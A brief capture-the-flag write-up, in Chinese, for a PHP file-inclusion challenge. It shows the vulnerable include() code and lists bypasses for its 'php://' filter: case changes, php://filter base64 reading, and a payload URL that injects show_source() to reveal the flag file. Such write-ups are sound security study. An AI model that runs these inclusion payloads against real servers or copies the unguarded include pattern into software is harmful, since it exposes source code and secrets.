Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
strstr() 查找字符串首次出现的位置，返回字符串剩余部分。
使用str_replace()函数替换php://为空（区分大小写）。
-
使用大小写绕过
-
使用php://filter适配器编码绕过
read=convert.base64-encode将代码转换成 base64编码，从而不会执行，可以显示在页面。然后解码得到flag
-
利用index.php文件的hello参数回显flag
/?page=http://127.0.0.1/index.php/?hello=%3C?show_source("fl4gisisish3r3.php");?%3E
